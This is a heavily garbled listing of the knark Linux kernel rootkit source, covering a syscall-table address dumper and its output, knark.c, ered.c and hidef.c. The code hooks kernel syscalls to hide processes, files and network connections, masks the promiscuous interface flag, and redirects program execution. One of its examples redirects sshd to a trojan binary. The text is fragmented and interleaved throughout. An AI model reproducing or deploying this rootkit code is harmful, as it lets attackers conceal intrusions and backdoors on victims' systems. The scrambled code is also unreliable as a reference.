#include <asm/errno.h> 
efine MOD_NAME "syscall#d

ex
 
/*   
 * following "read" functions are used to provide information in  
 * /proc file system  
 */ 
static int 
read_sys_call_addr (char * buf, char ** start, off_t offset, int len, 
int * eof, 
        void * data){ 
  int i; 
  if(offset > 0) return 0; 
  len = sprintf (buf, "# system call addresses\n"); 
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  for (i = 0; i < NR_syscalls; i++){ 
    len += sprintf (buf + len, "%3d\t%x\n", i, (void 
*)(sys_call_table[i])); 
  } 
  //len+= sprintf(buf+len, "0\t%x\n", (void *)(sys_call_table[0])); 

try * ent = create_proc_entry("syscalls", 

; 
ead_sys_call_addr; 

; 
// proc_register (&proc_root, &sys_call_addr); 

ve_proc_entry("syscalls", &proc_root); 

all addresses 
0 c011c550 
1 c01164e0 

 7 c01168a0 

c013500c 

  *start = buf; 
  *eof = 1; 
  return len; 
} 
 
int 
init_module (void) 
{ 
  struct proc_dir_en
S_IFREG|S_IRUGO, &proc_root); 
  if(ent == 0x0) 
    return -EINVAL
  ent->read_proc = r
  return 0
  
} 
 
 
void 
cleanup_module (void) 
{ 
  remo
  //proc_unregister (&proc_root, sys_call_addr.low_ino); 
} 
 
C.7:  Syscall_table.txt 
 
# system c
  
  
  2 c0105894 
  3 c012dc18 
4 c012dcdc   

  5 c012d834 
  6 c012d944 
 
  8 c012d8c8 
  9 c0139730 
 10 c013937c 
 11 c01058f4 
 12 c012cf90 
 13 c0116da8 
 14 c0138c0c 
 15 c012d2a4 
 16 c011e72c 
 17 c011c550 
 18 
 19 c012db20 
 20 c011aabc 
 21 c0133648 
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 22 c0133064 
 23 c011e834 
 24 c011ebe8 
 25 c0116df0 
 26 c01099fc 
 27 c011aa74 
 28 c01351d0 

0 
0 c012cc8c 

 
5 c01207d4 

4 
47 c011ec40 

c011c3e4 
14 

 29 c010ba3
 3
 31 c011c550 
 32 c011c550 
 33 c012ce5c 
 34 c0111cec 
 35 c011c550 
 36 c012ec48 
 37 c011be08 
 38 c013a0e8 
 39 c0138e6c 
 40 c0139134 
 41 c013a918 
 42 c010b460 
 43 c011d1c8 
 44 c011c550
 4
 46 c011e7e
 
 48 
 49 c011ec
 50 c011ec70 
 51 c01192cc 

  52 c0132f70
 53 c011c550 
 54 c013b07c 
 55 c013abb0 
 56 c011c550 
 57 c011d21c 
 58 c011c550 

c010b93c  59 
 60 c011dbfc 
 61 c012d124 
 62 c01325f0 
 63 c013a868 
 64 c011aac8 
 65 c011d344 
 66 c011d3a4 
 67 c0106168 
 68 c011c38c 
 69 c011c39c 
 70 c011e7f8 
 71 c011e7a8 
 72 c0105fe8 
 73 c011c150 
 74 c011d5a8 
 75 c011d7fc 
 76 c011d778 
 77 c011dbd0 
 78 c0116e58 
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 79 c0116f6c 
 80 c011eae8 
 81 c011eb5c 

c010b65c 

c0135290 

38 

b54c 

3 c012c854 

c011c5f8 

0 

 c01aeb68 
3 c0113b44 

 c0135080 

0 

 c01164f0 
5 c012a408 
6 c0116c50 

c010b6c4 

3 c010aa48 

25 c01251a0 

 82 
 83 c013955c 
 84 c01350f0 
 85 
 86 c0135660 
 87 c012a8b0 
 88 c011c7
 8 c013b500 9 
 90 c010
 91 c0121540 
 92 c012c680 
 9
 94 c012d20c 
 95 c011e768 
 96 c011c6d0 
 97 
 98 c011c550 
 99 c012c4f8 
100 c012c59
101 c010a688 
102
10
104 c0116b80 
105 c01169f0 
106
107 c0135160 
108 c0135230 
109 c010b8c0 
110 c010a768 
111 c012d998 
112 c011c55
113 c0108a6c 
114
11
11
117 
118 c012ecd0 

 c01063b4 119
120 c01058b0 
121 c011d69c 

 c011d53c 122
12
124 c01173e8 
1
126 c011c160 
127 c01143c4 
128 c0114518 
129 c0114b74 
130 c0115588 
131 c0145034 
132 c011d2fc 
133 c012d068 
134 c0131628 
135 c0131a84 
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136 c01136b8 
137 c011c550 
138 c011eac0 
139 c011ead4 
140 c012db58 
141 c013b64c 
142 c013bd5c 
143 c013e1d0 
144 c0123938 
145 c012dff4 
146 c012e048 
147 c011d350 
148 c012ed58 
149 c0117c30 
150 c0125690 
151 c0125748 
152 c0125838 
153 c01258c0 
154 c0111efc 
155 c0111f78 
156 c0111ee4 
157 c0111f14 
158 c011201c 
159 c011204c 
160 c0112078 
161 c011209c 
162 c011ab1c 
163 c0125e34 
164 c011e848 
165 c011e898 
166 c0108b50 
167 c0115430 
168 c013c4a0 
169 c0141e10 
170 c011e980 
171 c011e9d8 
172 c011dc18 
173 c0106488 
174 c011c2b0 
175 c011b930 
176 c011bb5c 
177 c011bb70 
178 c011be60 
179 c0106074 
180 c012e09c 
181 c012e174 
182 c011e6f0 
183 c013fc6c 
184 c0119760 
185 c0119954 
186 c0106268 
187 c0122f24 
188 c011c550 
189 c011c550 
190 c01058d4 
191 c011d720 
192 c010b4b8 
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193 c012c9bc 
194 c012cb70 
195 c01354a0 
196 c0135510 
197 c0135580 
198 c012d490 
199 c011aadc 
200 c011aafc 
201 c011aaec 
202 c011ab0c 
203 c011cab8 
204 c011c930 
205 c011d3fc 
206 c011d44c 
207 c012d4d8 
208 c011cd64 
209 c011cf00 
210 c011cf94 
211 c011d058 
212 c012d448 
213 c011cc34 
214 c011c9f0 
215 c011d0f4 
216 c011d17c 
217 c0133828 
218 c012437c 
219 c01240d8 
220 c013b8b0 
221 c013abec 
222 c011c550 
223 c011c550 
224 c011c550 
225 c011c550 
226 c011c550 
227 c011c550 
228 c011c550 
229 c011c550 
230 c011c550 
231 c011c550 
232 c011c550 
233 c011c550 
234 c011c550 
235 c011c550 
236 c011c550 
237 c011c550 
238 c011c550 
239 c011c550 
240 c011c550 
241 c011c550 
242 c011c550 
243 c011c550 
244 c011c550 
245 c011c550 
246 c011c550 
247 c011c550 
248 c011c550 
249 c011c550 
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250 c011c550 
251 c011c550 
252 c011c550 
253 c011c550 
254 c011c550 
255 c011c550 
 
C.8:  Author_banner.c 

, part of the knark package 
ck.se 1999 <creed@sekure.net> 

y NOT be used in a legal way, 
 damage of any kind. 

more info. 

 
 

(const char *progname) 

, 
by Creed @ #hack.se 1999 <creed@sekure.net> 
 by Cyberwinds@hotmail.com #irc.openprojects.net\n", 
); 

 the knark package 
ck.se 1999 <creed@sekure.net> 

y NOT be used in an illegal way, 
age of any kind. 

more info. 

s.h> 
.h> 
> 
 

.h> 

 

har *progname) 

 
/* 
 * author_banner.c
 * (c) Creed @ #ha
 * 
 * This program ma
 * or to not cause
 * 
 * Eat a frog for 
 */ 
 
 
#include <stdio.h>
#include "knark.h"
 
void author_banner
{ 
    fprintf(stderr
     "\n\t%s 
\tPort to 2.4 2001
     progname
    return; 
} 
 
C.9:  Ered.c 
 
/* 
 * ered.c, part of
 * (c) Creed @ #ha
 *  
 * This program ma
 * or to cause dam
 *  
 * See README for 
 */ 
 
#include <sys/type
#include <sys/stat
#include <unistd.h
#include <stdio.h>
#include <time.h> 
#include <sys/time
 
#include "knark.h"
 
 
void usage(const c
{ 
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    fprintf(stderr, 
n" 
rom> <to>\n" 
-c (clear redirect-list)\n" 
/usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan\n", 
, progname, progname); 

 char *argv[]) 

; 
direct er; 

"ered.c"); 

 || strcmp(argv[1], "-c")) 
gv[0]); 

day((struct timeval *)KNARK_CLEAR_REDIRECTS, 
(struct timezone *)NULL) == -1) 

settimeofday"); 
stderr, "Have you really loaded knark.o?!\n"); 
; 

. Redirect list is cleared.\n"); 

rgv[1]; 
v[2]; 

from, &st) == -1) 
"), exit(-1); 

.st_mode)) 

rr, "%s is not a regular file\n", er.er_from); 

 & S_IXUSR) 

rr, "%s is not an executable file\n", er.er_from); 

to, &st) == -1) 
"), exit(-1); 

.st_mode)) 

rr, "%s is not a regular file\n", er.er_to); 

     "Usage:\
     "\t%s <f
            "\t%s 
     "ex: %s 
     progname
    exit(-1); 
} 
 
 
int main(int argc,
{ 
    struct stat st
    struct exec_re
     
    author_banner(
     
    if(argc != 3) 
    { 
 if(argc != 2
     usage(ar
  
 if(settimeof
   
 { 
     perror("
     fprintf(
     exit(-1)
 } 
 printf("Done
 exit(0); 
    } 
  
    er.er_from = a
    er.er_to = arg
     
    if(stat(er.er_
 perror("stat
     
    if(!S_ISREG(st
    { 
 fprintf(stde
 exit(-1); 
    } 
 
    if(~st.st_mode
    { 
 fprintf(stde
 exit(-1); 
    } 
     
    if(stat(er.er_
 perror("stat
     
    if(!S_ISREG(st
    { 
 fprintf(stde
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 exit(-1); 
    } 
     
    if(~st.st_mode & S_IXUSR) 

rr, "%s is not an executable\n", er.er_to); 

y((struct timeval *)KNARK_ADD_REDIRECT, 
truct timezone *)&er) == -1) 

imeofday"); 
rr, "Have you really loaded knark.o?!\n"); 

%s -> %s\n", er.er_from, er.er_to); 

.10:  Hidef.c 

legal way, 
kind. 

e README for more info. 
/ 

h> 
h> 

nst char *progname) 

   fprintf(stderr, 
sage:\n" 

    "\t%s /usr/lib/.hax0r\n", 
    progname); 

    { 
 fprintf(stde
 exit(-1); 
    } 
     
    if(settimeofda
      (s
    { 
 perror("sett
 fprintf(stde
 exit(-1); 
    } 
     
    printf("Done: 
    exit(0); 
     
} 
 
C
 
/* 

hidef.c, part of the knark package  * 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  

This program may NOT be used in an il * 
 * or to cause damage of any 
 *  
 Se *

 *
 
#include <sys/types.
#include <sys/ioctl.
#include <unistd.h> 
nclude <fcntl.h> #i

#include <stdio.h> 
 
#include "knark.h" 
 
 
vo
{ 
id usage(co

 
     "U
 
 
    exit(-1); 
} 
 
 
int main(int argc, char *argv[]) 
{ 
    int fd, len, hidef=0; 
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    char *avp; 

.c"); 

[0]); 
]+len-1; avp > argv[0] && *avp != '/'; avp--); 
 

   
f", avp)) 

hidef++; 
  else if(strcmp("unhidef", avp)) 

 if( (fd = open(argv[1], O_RDONLY)) == -1) 
perror("open"), exit(-1); 

   
, 

E:KNARK_UNHIDE_FILE)) == -1) 
, exit(-1); 

it(0); 

 #ha
erwinds@hotmail.com 

  
on heroin.c by Runar Jensen, so credits goes to 

major changes have 

, so this isn't the same piece of code anymore. 

 be used in an illegal way, 
any kind. 

 %u unsigned int %lu unsigned 

     
    author_banner("hidef
     
    len = strlen(argv
    for(avp = argv[0
    if(*avp == '/')
 avp++; 
  
    if(!strcmp("hide
 
  
    { 
 fprintf(stderr, "argv[0] is neither \"hidef\" nor 
\"unhidef\"\n"); 
 exit(-1); 
    } 
     
    if(argc != 2) 
 usage(argv[0]); 
     
   
 
  
    if( (ioctl(fd, KNARK_ELITE_CMD
hidef?KNARK_HIDE_FIL
 perror("ioctl")
 

ose(fd);     cl
     
    ex
} 
 
C.11:  Knark.c 
 
* /
 * knark.c, part of the knark package 

ck.se 1999 <creed@sekure.net>  * (c) Creed @
* Por ted to kernel 2.4 2001 by cyb
#irc.openprojects.net 
 *

s based  * This lkm i
im. h

offered quite few features, and  * Heroin.c however 
been 
 made *

 *  
NOT * This program/lkm may 

 to cause damage of  * or
 *  
 * See README for more info. 

r the curious: %hu unsigned short * Fo
long %Lu long long unsigned 
 */ 
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#define __KERNEL_SYSCALLS__ 

.h> 
e <linux/smp_lock.h> 

 
e <linux/malloc.h> 

.h> 
e <linux/skbuff.h> 

e <net/protocol.h> 

e <linux/dirent.h> 

 PF_INVISIBLE 0x10000000 
e PROC_NET_TCP "tcp" 

 linux_dirent { 
   unsigned long   d_ino; 

       unsigned long   d_off; 
ned short  d_reclen; 
           d_name[1]; 

n void *sys_call_table[]; 

int, getdents, uint, fd, void *, dirp, uint, 

l3(int, getdents64, uint, fd, void *, dirp, uint, 

ll2(int, kill, int, pid, int, sig); 
ll3(int, ioctl, unsigned int, fd, unsigned int, 
arg); 

atic inline _syscall1(int, fork, int, regs); 

#include <linux/version.h> 
#include <linux/module.h> 

e <linux/kernel.h> #includ
#include <linux/sched.h> 
#include <linux/socket
#includ
#include <linux/stat.h> 
#include <linux/dirent.h> 
#include <linux/fs.h> 
#include <linux/if.h> 
#include <linux/modversions.h>
#includ
#include <linux/unistd.h> 
#include <linux/string
#includ
#include <linux/ip.h> 
#include <sys/syscall.h> 
#includ
#include <net/udp.h> 
#include <net/icmp.h> 
#includ
#include <linux/proc_fs.h> 
#include <asm/uaccess.h> 
#include <asm/errno.h> 
#include <asm/unistd.h> 
 
#include "knark.h" 
 
#define
#defin
#define PROC_NET_UDP "udp" 
 
struct

     
 
        unsig
       char  
}; 
struct linux_dirent64 { 
        u64             d_ino; 

    s64             d_off;     
        unsigned short  d_reclen; 
        unsigned char   d_type; 

    char            d_name[0];     
}; 
 
terex

 
static inline _syscall3(
count); 

alstatic inline _sysc
count); 
atic inline _syscast

static inline _sysca
d, unsigned long, cm

st
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static inline _syscall1(int, clone, int, regs); 
meofday, struct timeval *, tv, struct 

ezone *, tz); 

mlin (unsigned int, void *, unsigned 
t); 
mlin inal_getdents64)(unsigned int, void *, unsigned 

linkage long (*original_kill)(int, int); 
mlinkage ssize_t (*original_read)(unsigned int, char *, size_t); 

(unsigned int, unsigned int, unsigned 

linkage int (*original_fork)(struct pt_regs); 
lone)(struct pt_regs); 

*original_execve)(struct pt_regs); 
kage long (*original_settimeofday)(struct timeval *, struct 

ts(unsigned int, void *, unsigned int); 
; 

fork(struct pt_regs); 
k_clone(struct pt_regs); 

_t, int); 
, int, long); 

ark_read(int, char *, size_t); 
_regs regs); 

age long knark_settimeofday(struct timeval *, struct timezone 
; 

or(char * err_msg); 
rk_atoi(char *); 
nark_bcopy(char *, char *, unsigned int); 

*knark_find_task(pid_t); 
); 
t); 

ry *); 
 
 
cret_dev(kdev_t); 

_t); 

t knark_clear_nethides(void); 
direct(struct exec_redirect *); 
irect_path(char *); 
r_redirects(void); 

t knark_read_pids(char *, char **, off_t, int, int *, void *); 
_files(char *, char **, off_t, int, int *, void *); 
_redirects(char *, char **, off_t, int, int *, void *); 

knark_read_nethides(char *, char **, off_t, int, int *, void *); 
off_t, int, int *, void *); 

 int *, void 

rexec(struct file *, const char *, u_long, void 

#endif /*FUCKY_REXEC_VERIFY*/ 

static inline _syscall2(int, setti
tim
 
as kage long (*original_getdents)
in
as kage long (*orig
int); 
asm
as
asmlinkage long (*original_ioctl)
long); 
asm
asmlinkage int (*original_c
asmlinkage int (
asmlin
timezone *); 
 
asmlinkage long knark_getden
asmlinkage long knark_getdents64(unsigned int, void *, unsigned int)
asmlinkage int knark_
asmlinkage int knar
asmlinkage long knark_kill(pid
asmlinkage long knark_ioctl(int
asmlinkage ssize_t kn
asmlinkage int knark_execve(struct pt
asmlink
*)
 
unsigned int knark_err
int kna
void k
struct task_struct 
int knark_is_invisible(pid_t

ark_hide_process(pid_int kn
int knark_hide_file(struct inode *, struct dent
int knark_unhide_file(struct inode *);

ark_secret_file(ino_t, kdev_t);int kn
struct knark_dev_struct *knark_add_se
struct knark_dev_struct *knark_get_secret_dev(kdev
int knark_add_nethide(char *); 
in
int knark_add_re

knark_redchar *
int knark_clea
 
ni
int knark_read
nt knark_readi
int 
int knark_read_author(char *, char **, 
#ifdef FUCKY_REXEC_VERIFY 
int knark_read_verify_rexec(char *, char **, off_t, int,
*); 

knark_write_verify_int 
*); 
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int knark_do_exec_userprogram(void *); 
int knark_execve_userprogram(char *, char **, char **, int); 
//int knark_udp_rcv(struct sk_buff *, unsigned short); 
int knark_udp_rcv(struct sk_buff *); 
struct inet_protocol * original_udp_protocol; 

rrno; 

y 

stem. I found it confusing that proc_roo.rdev shows major 0 minor 
as its 
 device signature. 

v = 0; 
ev = 4; 

 

 

LL; 

ext; 

LL; 

RET_FILES]; 
  char *d_name[MAX_SECRET_FILES]; 

  struct knark_dev_struct *f_dev[MAX_SECRET_DEVS]; 

 
ino_t knark_ino; 
int e
/* 
 * Use a different major or minor number if you found knark completel
failed on your 
 * sy
0 
 *
 */ 
unsigned short proc_major_de
unsigned short proc_minor_d
 
#ifdef FUCKY_REXEC_VERIFY 
int verify_rexec = 16; 
#endif /*FUCKY_REXEC_VERIFY*/
 
struct redirect_list 
{ 
    struct redirect_list *next;
    struct exec_redirect rl_er; 
} *knark_redirect_list = NU
 
 
struct nethide_list 
{ 
    struct nethide_list *n
    char *nl_hidestr; 

= NU} *knark_nethide_list 
 
 
struct knark_dev_struct { 
    kdev_t d_dev; 
    int d_nfiles; 
    ino_t d_inode[MAX_SEC
  
}; 
 
 
struct knark_fs_struct { 
    int f_ndevs; 
  
} *kfs; 
 
 
struct execve_args { 
    char *path; 
    char **argv; 
    char **envp; 
}; 
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struct proc_dir_entry * knark_dir; 
struct proc_dir_entry * knark_pids; 

ct proc_dir_entry * knark_filesstru ; 
edirects; 
thides; 

ruct proc_dir_entry * knark_author; 

oc_dir_entry * knark_verify_rexec; 

  0, 

MP" 

  while (*str) 

gned int num) 

 char *str2) 

struct proc_dir_entry * knark_r
struct proc_dir_entry * knark_ne
st
#ifdef FUCKY_REXEC_VERIFY 
struct pr
#endif /*FUCKY_REXEC_VERIFY*/ 
 
 
struct inet_protocol knark_udp_protocol = 
{ 
    &knark_udp_rcv, 
    NULL, 
    NULL, 
    IPPROTO_ICMP, 
  
    NULL, 
    "IC
}; 
 
unsigned int knark_error(char * err_msg){ 
  return EINVAL; 
} 
 
 
int knark_atoi(char *str) 
{ 
    int ret = 0; 
 
  
    { 
        if(*str < '0' || *str > '9') 
            return -EINVAL; 
        ret *= 10; 
        ret += (*str - '0'); 
        str++; 
    } 
    return ret; 
} 
 
 
void knark_bcopy(char *src, char *dst, unsi
{ 
    while(num-- > 0) 
        *(dst++) = *(src++); 
} 
 
 
int knark_strcmp(const char *str1, const
{ 
    while(*str1 && *str2) 
 if(*(str1++) != *(str2++)) 
     return -1; 
    return 0; 
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} 
 
 
ruct task_struct *knark_find_tast sk(pid_t pid) 

 while(current != task); 

  if(pid < 0) return 0; 

k = knark_find_task(pid)) == NULL) 
  return 0; 

ask = find_task_by_pid(pid)) == 0x0) 

id_t pid) 

 if( (task = knark_find_task(pid)) == NULL) 

 

  return 1; 

 *knark_add_secret_dev(kdev_t dev) 

  int current_dev = kfs->f_ndevs; 
  int ndevs = kfs->f_ndevs; 

 **kds = kfs->f_dev; 

_SECRET_DEVS) 

{ 
    struct task_struct *task = current; 
 
    do { 
 if(task->pid == pid) 
     return task; 
 task = task->next_task; 
    }
     
    return NULL; 
} 
 
 
int knark_is_invisible(pid_t pid) 
{ 
    struct task_struct *task; 
     
  
     
    if( (tas
    
    // use a kernel func instead :) 
    //    if( (t
    //      return 0; 
    if(task->flags & PF_INVISIBLE) 
 return 1; 
     
    return 0; 
} 
 
 
int knark_hide_process(p
{ 
  struct task_struct *task;   

     
   
 return 0; 
     
    task->flags |= PF_INVISIBLE;
     

  
} 
 
 
struct knark_dev_struct
{ 
  
  
    struct knark_dev_struct
     
    if(ndevs >= MAX
 return NULL; 
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    kds[current_dev] = (struct knark_dev_struct *) 
alloc(sizeof(struct knark_dev_struct), GFP_KERNEL); 
  if(kds[current_dev] == NULL) 

urrent_dev]->d_nfiles = 0; 
  memset(kds[current_dev]->d_inode, 0, MAX_SECRET_FILES * 
zeof(ino_t)); 

_dev]->d_name, 0, MAX_SECRET_FILES * sizeof(char 

; 

return kds[current_dev]; 

cret_dev(kdev_t dev) 

f_dev; 

return kds[i]; 
  }     

ecret_file(ino_t inode, kdev_t dev) 

i; 
les; 
nark_dev_struct *kds; 

 
 kds = knark_get_secret_dev(dev); 

  nfiles = kds->d_nfiles; 
  for(i = 0; i < nfiles; i++) 

 inode) 
    return 1; 

e, struct dentry *entry) 

eptr[16]; 

_dev_struct *kds; 
_t ino = inode->i_ino; 

inode->i_sb->s_dev; 

km
  
 return NULL; 
     
    kds[current_dev]->d_dev = dev; 
    kds[c
  
si
    memset(kds[current
*)); 
    kfs->f_ndevs++
     
    
} 
 
 
struct knark_dev_struct *knark_get_se
{ 
    int ndevs = kfs->f_ndevs; 
    struct knark_dev_struct **kds = kfs->
    int i; 
     
    for(i = 0; i < ndevs; i++){ 
      if(kds[i]->d_dev == dev) 
 
  
    return NULL; 
} 
 
 
int knark_s
{ 
    int 
    int nfi
    struct k
    
   

    if(kds == NULL) 
 return 0; 

     
  
  
 if(kds->d_inode[i] ==
 
     
  return 0;   

} 
 
int knark_hide_file(struct inode *inod
{ 
    char *name, *nam
    int i, len, namelen = 0; 
    struct knark
    ino
    kdev_t dev = 
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    if(knark_secret_file(ino, dev)) 

_dev(dev); 
     if(kds == NULL) 
          return -1; 
  } 

>= MAX_SECRET_FILES) 

  kd ino; 

 
memset(nameptr, 0, 16*sizeof(char *)); 
for(i = 0; i < 16 && entry->d_name.len != 1 && entry-

_name.name[0] != '/'; i++) 

    entry = entry->d_parent; 

he '/'s :) 
_nfiles] = kmalloc(namelen, GFP_KERNEL); 

_nfiles]; 

 
ameptr[i]; i++) ; 

for(i--; i >= 0; i--) 
{ 
    len = strlen(name); 

    strcpy(&name[len+1], nameptr[i]); 

struct inode *inode) 

 int nfiles; 
  struct knark_dev_struct *kds; 
  ino_t ino = inode->i_ino; 

  
dev)) 

(kds == NULL) 

        return -1; 
 

 kds = knark_get_secret_dev(dev);    
    if(kds == NULL) { 
        kds = knark_add_secret
   
  
  
 
    else if(kds->d_nfiles 
        return -1; 
  s->d_inode[kds->d_nfiles] = 
     
    if(entry) {
 
 
>d
 { 
     nameptr[i] = (char *)entry->d_name.name; 
     namelen += entry->d_name.len; 
 
 } 
 namelen += i + 1; // t
 kds->d_name[kds->d
 name = kds->d_name[kds->d
 name[0] = '\0'; 
 
 for(i = 0; n
 
 
 
     name[len] = '/'; 
 
 } 
    } 
     

se     el
 kds->d_name[kds->d_nfiles] = NULL; 
 
    return ++kds->d_nfiles; 
} 
 
 
int knark_unhide_file(
{ 
    int i; 
   
  
  
    kdev_t dev = inode->i_dev; 
   
    if(!knark_secret_file(ino, 
 return -1; 
     

cret_dev(dev);     kds = knark_get_se
    if
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        return -1; 
 
    nfiles = kd

 for(i = 0;
s->d_nfiles; 
 i < nfiles; i++) 

      if(kds->d_inode[i] == ino) 
  { 

; 

les - 1]); 

irp, unsigned 

 *curr; 

(fd, dirp, count); 
 if(ret <= 0) return ret; 

  dinode = current->files->fd[fd]->f_dentry->d_inode; 

  
OT_INO && MAJOR(dinode->i_dev) == 

(dinode->i_dev) == proc_minor_dev) 
+; 

et) 

= (struct dirent *)ptr; 

       knark_is_invisible(knark_atoi(curr->d_name)))) || 
    knark_secret_file(curr->d_ino, dev)) 

    if(curr == dirp) 

curr->d_reclen; 
>d_reclen, ptr, ret); 

 continue; 

clen += curr->d_reclen; 

   
  
  
        kds->d_inode[i] = kds->d_inode[nfiles - 1]; 
        kds->d_inode[nfiles - 1] = 0
 if(kds->d_name[nfiles - 1]) 
     kfree(kds->d_name[nfi
        return --kds->d_nfiles; 
    } 
 
    return -1; 
} 
 
asmlinkage long knark_getdents(unsigned int fd, void *d
int count) 
{ 
    int ret; 
    int proc = 0; 
    struct inode *dinode; 
    char *ptr = (char *)dirp; 
    struct dirent
    struct dirent *prev = NULL; 
    kdev_t dev; 
 
 
    ret = (*original_getdents)
   
 
  
    dev = dinode->i_sb->s_dev; 
   
    if(dinode->i_ino == PROC_RO
proc_major_dev && 
       MINOR

proc+ 
     
    while(ptr < (char *)dirp + r
    { 
 curr 
 

if( (proc && (curr->d_ino == knark_ino ||  
 
 
 { 
 
     { 
  ret -= 
  knark_bcopy(ptr + curr-
 
     } 
     else 
  prev->d_re

}  
 else 
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     prev = curr; 
  
 ptr += curr->d_reclen; 

 return ret; 

linkage long knark_getdents64(unsigned int fd, void *dirp, unsigned 

  char *ptr = (char *)dirp; 

ent64 *prev = NULL; 
  kdev_t dev; 

 count); 
et; 

ode = current->files->fd[fd]->f_dentry->d_inode; 
  dev = dinode->i_sb->s_dev; 

 == PROC_ROOT_INO && MAJOR(dinode->i_dev) == 

or_dev) 

  { 
ent64 *)ptr; 

k_atoi(curr->d_name)))) || 
ino, dev)) 

(ptr + curr->d_reclen, ptr, ret); 
ontinue; 

ev->d_reclen += curr->d_reclen; 

linkage int knark_fork(struct pt_regs regs) 

    } 
 
   
} 
 
asm
int count) 
{ 
    int ret; 
    int proc = 0; 
    struct inode *dinode; 
  
    struct linux_dirent64 *curr; 
    struct linux_dir
  
 
 
    ret = (*original_getdents64)(fd, dirp,
    if(ret <= 0) return r
 
    din
  
     
    if(dinode->i_ino
proc_major_dev && 

 MINOR(dinode->i_dev) == proc_min      
 proc++; 
    while(ptr < (char *)dirp + ret) 
  
 curr = (struct linux_dir
 
 if( (proc && (curr->d_ino == knark_ino || 
        knark_is_invisible(knar
     knark_secret_file(curr->d_
 { 
     if(curr == dirp) 
     { 
  ret -= curr->d_reclen; 
  knark_bcopy
  c
     } 
     else 
  pr
 } 
 else 
     prev = curr; 
  
 ptr += curr->d_reclen; 
    } 
 
    return ret; 
} 
 
asm
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{ 
    pid_t pid; 
    int hide = 0; 

     
    if(knark_is_
 hide++; 

invisible(current->pid)) 

); 

knark_hide_process(pid); 

_clone(struct pt_regs regs) 

knark_is_invisible(current->pid)) 

  pi

  return pid; 

 struct task_struct *task; 

VISIBLE && sig != SIGVISIBLE) 
l)(pid, sig); 

task(pid)) == NULL) 

euid) 
return -EPERM; 

   
SIBLE; 

VISIBLE; 
   

rk_ioctl(int fd, int cmd, long arg) 

     
    pid = (*original_fork)(regs
    if(hide && pid > 0) 
 
     
    return pid; 
} 
 
 
asmlinkage int knark
{ 
    pid_t pid; 
    int hide = 0; 
     
    if(
 hide++; 
     
  d = (*original_clone)(regs); 
    if(hide && pid > 0) 
 knark_hide_process(pid); 
     
  
} 
 
 
asmlinkage long knark_kill(pid_t pid, int sig) 
{ 
   
 
    if(sig != SIGIN
  return (*original_kil
      
    if((task = knark_find_
 return -ESRCH; 

id && current->    if(current->u
 
  
    if(sig == SIGINVISIBLE) task->flags |= PF_INVI
    else task->flags &= ~PF_IN
  
    return 0; 
} 
 
 
asmlinkage long kna
{ 
    int ret; 
    struct ifreq ifr; 
    struct inode *inode; 

uct dentry *entry;     str
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    if(cmd != KNARK_ELITE_CMD) 
  { 

r, (void *)arg, sizeof(struct ifreq)); 
.ifr_ifru.ifru_flags &= ~IFF_PROMISC; 

freq)); 

  } 
   

  en es->fd[fd]->f_dentry; 

_HIDE_FILE: 
_hide_file(inode, entry); 

break; 

knark_unhide_file(inode); 

t knark_add_nethide(char *hidestr) 

knark_nethide_list; 

ist), GFP_KERNEL); 
 NULL) return -1; 

   
  nl->next = NULL; 

   

  
 ret = (*original_ioctl)(fd, cmd, arg); 
 if(!ret && cmd == SIOCGIFFLAGS) 
 { 
     copy_from_user(&if
     ifr
     copy_to_user((void *)arg, &ifr, sizeof(struct i
 } 
 return ret; 
  
  
    if(current->files->fd[fd] == NULL) 
 return -1; 
     
  try = current->fil
    inode = entry->d_inode; 
    switch(arg) 
    { 
      case KNARK
 ret = knark
 
  
      case KNARK_UNHIDE_FILE: 
 ret = 
 break; 
  
      default: 
 return -EINVAL; 
    } 
    return ret; 
} 
 
 
in
{ 
    struct nethide_list *nl = 
     

    if(nl->nl_hidestr) 
    { 

while(nl->next)  
     nl = nl->next; 
  
 nl->next = kmalloc(sizeof(struct nethide_l
 if(nl->next ==
 nl = nl->next; 
    } 
  
  
    nl->nl_hidestr = hidestr; 
  
    return 0; 
} 
 
 
int knark_clear_nethides(void) 
{ 
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    struct nethide_list *tmp, *nl = knark_nethide_list; 
   

(nl->nl_hidestr); 
 = NULL; 

 

 nl = knark_nethide_list->next; 

tmp = nl->next; 

turn 0; 

_t knark_read(int fd, char *buf, size_t count) 

 int ret; 
  char *p1, *p2; 
  struct inode *dinode; 

; 

l_read)(fd, buf, count); 
 nl->nl_hidestr == NULL) return ret; 

->files->fd[fd]->f_dentry->d_inode; 
nt->files->fd[fd]->f_dentry; 

nor number 4 on my system. But 

ld be different on another system. The best way would 

   * to find out this number and put it as a global variable. 
   * it is checked here, in getdents, and in getdents64 

 if(MAJOR(dinode->i_dev) != proc_major_dev || MINOR(dinode->i_dev) 

 if TCP, 3) == 0  
NET_UDP, 3) == 0) 

rstr(buf, nl->nl_hidestr)) ) 

  
    do { 
 if(nl->nl_hidestr) 
 { 
     putname
     nl->nl_hidestr
 } 
  
 nl = nl->next; 
    } while(nl);
     
   
    while(nl) 
    { 
 
 kfree(nl); 
 nl = tmp; 
    } 
    knark_nethide_list->next = NULL; 
     
    re
} 
 
 
asmlinkage ssize
{ 
   
  
  
    struct dentry * f_entry; 

 struct nethide_list *nl = knark_nethide_list   
     
    ret = (*origina

(ret <= 0 ||    if
     
    dinode = current

entry = curre    f_
 
    /* 
     * The /proc file system has a mi
this 
     * number cou
be 
  
  
     */ 
   
!= proc_minor_dev) 

return ret;  
     
   (strncmp(f_entry->d_iname, PROC_NET_

|| strncmp(f_entry->d_iname, PROC_       
    { 
 do { 
     while( (p1 = p2 = (char *) st
     { 
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  *p1 =~ *p1; 

f) 

*p1 == '\n') 
     p1++; 
  

 if(*p2 == '\n') 

 + ret) 
(p2++); 

  

   

rk_clear_redirects() 

rk_redirect_list; 

 { 

(rl->rl_er.er_from); 

rl->rl_er.er_to); 
L; 

->next; 
 

= knark_redirect_list->next; 

tmp = rl->next; 
kfree(rl); 

 } 

   
  while(*p1 != '\n' && p1 > bu

     p1--;  
  if(
 
 
  while(*p2 != '\n' && p2 < buf + ret - 1) 
      p2++; 
 
      p2++; 
      
  while(p2 < buf
      *(p1++) = *
 
  ret -= p2 - p1; 
     } 
     nl = nl->next; 
 } while(nl && nl->nl_hidestr); 
    } 
  
    return ret; 
} 
 
 
int kna
{ 
    struct redirect_list *tmp, *rl = kna
     
    do
 if(rl->rl_er.er_from) 
 { 
     putname
     rl->rl_er.er_from = NULL; 
 } 
